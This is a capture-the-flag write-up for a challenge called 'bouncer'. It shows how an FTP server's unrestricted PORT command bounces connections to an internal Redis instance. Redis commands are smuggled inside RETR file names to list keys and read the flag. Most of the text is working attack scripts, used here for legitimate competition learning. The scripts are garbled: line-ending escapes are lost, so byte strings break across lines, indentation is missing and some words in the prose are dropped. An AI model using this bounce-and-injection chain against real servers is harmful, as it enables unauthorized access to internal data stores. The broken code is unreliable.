Challenge Description:
Does a kangaroo bounce fast if I attach a rocket engine to it?
hmmmmm
so first got the status
status.py
import json, urllib.request
status = json.loads(urllib.request.urlopen("https://dalctf-bouncer-47-64616c.instancer.dalctf2026.com/api/storage/status").read())
print(status)
ftp port changes per instance
custom ftp at the mapped port
nginx proxies to redis at 172.16.25.2:6379
ftp port command is unrestricted
pasv gives internal ip but we use port for bounce
key discovery: list always sends ping to data conn and echoes redis response on control
but we need arbitrary cmds
then found retr <filename> sends the filename bytes to data conn
ftp cmd ends only at so we can put lone inside filename
redis accepts inline cmd +
script to send info
info.py
import socket, time, json, urllib.request
status = json.loads(urllib.request.urlopen("https://dalctf-bouncer-47-64616c.instancer.dalctf2026.com/api/storage/status").read())
port = int(status['ftp']['port'])
def resp(s, t=4):
data=b''; s.settimeout(t)
while True:
try:
c=s.recv(4096)
if not c: break
data+=c
except socket.timeout: break
return data
s = socket.socket()
s.connect(("instancer.dalctf2026.com", port))
resp(s, 1)
s.send(b"USER anonymous
"); resp(s, 1)
s.send(b"PASS x@x
"); resp(s, 1)
s.send(b"TYPE A
"); resp(s, 1)
s.send(b"PORT 172,16,25,2,24,235
"); resp(s, 1)
s.send(b"RETR INFO
")
print(resp(s, 8).decode(errors='replace'))
s.send(b"QUIT
")
got full redis info back on control channel
redis 7.4.9
then keys
keys.py
import socket, time, json, urllib.request
status = json.loads(urllib.request.urlopen("https://dalctf-bouncer-47-64616c.instancer.dalctf2026.com/api/storage/status").read())
port = int(status['ftp']['port'])
def resp(s, t=4):
data=b''; s.settimeout(t)
while True:
try:
c=s.recv(4096)
if not c: break
data+=c
except socket.timeout: break
return data
s = socket.socket()
s.connect(("instancer.dalctf2026.com", port))
resp(s, 1)
s.send(b"USER anonymous
"); resp(s, 1)
s.send(b"PASS x@x
"); resp(s, 1)
s.send(b"TYPE A
"); resp(s, 1)
def redis_cmd(cmd):
s.send(b"PORT 172,16,25,2,24,235
"); resp(s, 1)
s.send(b"RETR " + cmd.encode() + b"
")
return resp(s, 8).decode(errors='replace')
print(redis_cmd("KEYS* "))
keys: flag hint secret:key1 secret:key2 admin:password tasks user:1
then get flag
get_flag.py
import socket, time, json, urllib.request
status = json.loads(urllib.request.urlopen("https://dalctf-bouncer-47-64616c.instancer.dalctf2026.com/api/storage/status").read())
port = int(status['ftp']['port'])
def resp(s, t=4):
data=b''; s.settimeout(t)
while True:
try:
c=s.recv(4096)
if not c: break
data+=c
except socket.timeout: break
return data
s = socket.socket()
s.connect(("instancer.dalctf2026.com", port))
resp(s, 1)
s.send(b"USER anonymous
"); resp(s, 1)
s.send(b"PASS x@x
"); resp(s, 1)
s.send(b"TYPE A
"); resp(s, 1)
def redis_cmd(cmd):
s.send(b"PORT 172,16,25,2,24,235
"); resp(s, 1)
s.send(b"RETR " + cmd.encode() + b"
")
return resp(s, 8).decode(errors='replace')
for k in ['flag', 'hint', 'secret:key1', 'secret:key2']:
print(k, redis_cmd("GET " + k))
got
terminal
$28
dalctf{b0unced_4nd_smug9led}
flag dalctf{b0unced_4nd_smug9led}
the retr filename trick let us inject full redis cmds with and pull responses back through the control channel via the list style echo
bounced the flag out clean using the internal nginx proxy
btw the custom ftp behavior was the whole point of the challenge
just port bounce + retr injection carried the solve end to end
Flag
dalctf{b0unced_4nd_smug9led}